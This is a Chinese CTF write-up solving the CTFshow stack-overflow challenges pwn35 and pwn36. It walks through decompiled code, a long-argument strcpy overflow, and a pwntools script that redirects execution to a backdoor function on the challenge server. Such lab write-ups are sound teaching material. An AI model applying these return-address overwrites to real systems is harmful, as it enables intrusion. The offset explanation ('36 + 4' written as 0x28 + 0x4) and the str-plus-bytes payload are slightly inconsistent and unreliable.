CTFshow-pwn入门-栈溢出pwn35-pwn36

pwn35

CTFshow-pwn入门-栈溢出pwn35-pwn36_第1张图片
首先还是先下载pwn文件拖进虚拟机加上可执行权限,使用checksec命令查看文件的信息。

chmod +x pwn
checksec pwn

CTFshow-pwn入门-栈溢出pwn35-pwn36_第2张图片
32位的我们直接拖进ida中反编译:

// main
int __cdecl main(int argc, const char **argv, const char **envp)
{
  FILE *stream; // [esp+0h] [ebp-1Ch]

  stream = fopen("/ctfshow_flag", "r");
  if ( !stream )
  {
    puts("/ctfshow_flag: No such file or directory.");
    exit(0);
  }
  fgets(flag, 64, stream);
  signal(11, (__sighandler_t)sigsegv_handler);
  puts(asc_8048910);
  puts(asc_8048984);
  puts(asc_8048A00);
  puts(asc_8048A8C);
  puts(asc_8048B1C);
  puts(asc_8048BA0);
  puts(asc_8048C34);
  puts("    * *************************************                           ");
  puts(aClassifyCtfsho);
  puts("    * Type  : Stack_Overflow                                          ");
  puts("    * Site  : https://ctf.show/                                       ");
  puts("    * Hint  : See what the program does!                              ");
  puts("    * *************************************                           ");
  puts("Where is flag?\n");
  if ( argc <= 1 )
  {
    puts("Try again!");
  }
  else
  {
    ctfshow((char *)argv[1]);
    printf("QaQ!FLAG IS NOT HERE! Here is your input : %s", argv[1]);
  }
  return 0;
}
// ctfshow
char *__cdecl ctfshow(char *src)
{
  char dest[104]; // [esp+Ch] [ebp-6Ch] BYREF

  return strcpy(dest, src);
}

先来分析一波代码逻辑:
程序首先将/ctfshow_flag文件的内容读取到flag变量里,然后打印输出一些无用的提示信息。
之后是关键代码:
如果argc的值<=1,就输出try again。代表我们失败了没拿到flag。对argc解释一下,argc是我们启动函数时输入的参数的数量加1,因为程序默认有argc=1,且第一个参数为程序的名称即argv[0],此后我们输入的参数就为argv[1]…
如果argc的值 > 1,就进入ctfshow函数,该函数将我们输入的第一个参数也就是argv[1]赋值给dest,然后返回到main函数继续执行,会将argv[1]我们输入第个参数的内容通过printf函数进行输出。

那好我们如何拿到flag呢?我们知道strcpy函数没有长度限制,是可以产生栈溢出的,这道题就让我们想到了pwn23题啊,大家还记得pwn23是怎么做出来的嘛?当时我们在启动程序时,输入的参数是一个非常非常的字符串(长度要超过dest变量的长度104),进而导致程序溢出,输出了flag,所以这次我们依然用这个方法试一下。

开肝!!!
ssh连接

ssh [email protected] -p28185

CTFshow-pwn入门-栈溢出pwn35-pwn36_第3张图片
我们直接运行pwnme,加上一个长度很长的参数。

 ./pwnme aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

CTFshow-pwn入门-栈溢出pwn35-pwn36_第4张图片
成功拿到了flag。

pwn36

CTFshow-pwn入门-栈溢出pwn35-pwn36_第5张图片
首先我们还是先下载pwn文件,然后拖进虚拟机加上可执行权限,通过使用checksec命令查看文件的信息。

chmod +x pwn
checksec pwn

CTFshow-pwn入门-栈溢出pwn35-pwn36_第6张图片
发现是32位的程序,并且除了RELRO是Partial,其他保护全是关闭状态。先拖进ida反编译下看下代码逻辑。

// main
int __cdecl main(int argc, const char **argv, const char **envp)
{
  setvbuf(stdout, 0, 2, 0);
  puts(asc_804883C);
  puts(asc_80488B0);
  puts(asc_804892C);
  puts(asc_80489B8);
  puts(asc_8048A48);
  puts(asc_8048ACC);
  puts(asc_8048B60);
  puts("    * *************************************                           ");
  puts(aClassifyCtfsho);
  puts("    * Type  : Stack_Overflow                                          ");
  puts("    * Site  : https://ctf.show/                                       ");
  puts("    * Hint  : There are backdoor functions here!                      ");
  puts("    * *************************************                           ");
  puts("Find and use it!");
  puts("Enter what you want: ");
  ctfshow(&argc);
  return 0;
}
// ctfshow
char *ctfshow()
{
  char s[36]; // [esp+0h] [ebp-28h] BYREF

  return gets(s);
}
// get_flag
int get_flag()
{
  char s[64]; // [esp+Ch] [ebp-4Ch] BYREF
  FILE *stream; // [esp+4Ch] [ebp-Ch]

  stream = fopen("/ctfshow_flag", "r");
  if ( !stream )
  {
    puts("/ctfshow_flag: No such file or directory.");
    exit(0);
  }
  fgets(s, 64, stream);
  return printf(s);
}

我们先来分析一波代码逻辑:
程序显示打印出一大段无用的提示信息,然后进入ctfshow函数,ctfshow函数是gets函数让我们输入信息到s[36]数组里,大家这里需要注意的是gets函数是没有长度限制的,可以发生栈溢出!另外题目提示我们存在后门函数,通过ida我们找到了get_flag函数,这个函数可以打印输出flag。

所以我们的大致思路就是通过栈溢出,将ctfshow函数的返回地址覆盖为get_flag函数的地址,这样我们就可以控制程序的执行流程,进而拿到flag。

首先看ida中s[36]数组的大小为36,加上我们还要覆盖掉ebp的值(ebp后面是返回地址,前面是局部变量s数组的栈空间),我们需要的填充数据长度就为36 + 4即0x28 + 0x4,我们通过gdb的disass get_flag命令就可以得到get_flag函数的汇编代码,其中就有get_flag函数的首地址,所以我们大致的payload就为:(0x28 + 0x4 ) * ‘a’ + p32(get_flag函数的地址)

直接编写exp开干吧!
先得到get_flag函数的地址:

gdb ./pwn
disass get_flag

CTFshow-pwn入门-栈溢出pwn35-pwn36_第7张图片
拿到了get_falg函数的地址:0x8048586
编写exp.py:

from pwn import *

p = remote("pwn.challenge.ctf.show", "28115")

offset = 0x28 + 0x4
get_flag_addr = 0x8048586
payload = offset * 'a' + p32(get_flag_addr)

p.sendline(payload)

接着使用python执行我们编写的exp.py拿flag。
CTFshow-pwn入门-栈溢出pwn35-pwn36_第8张图片
成功拿到了flag!

你可能感兴趣的:(linux,安全,网络安全)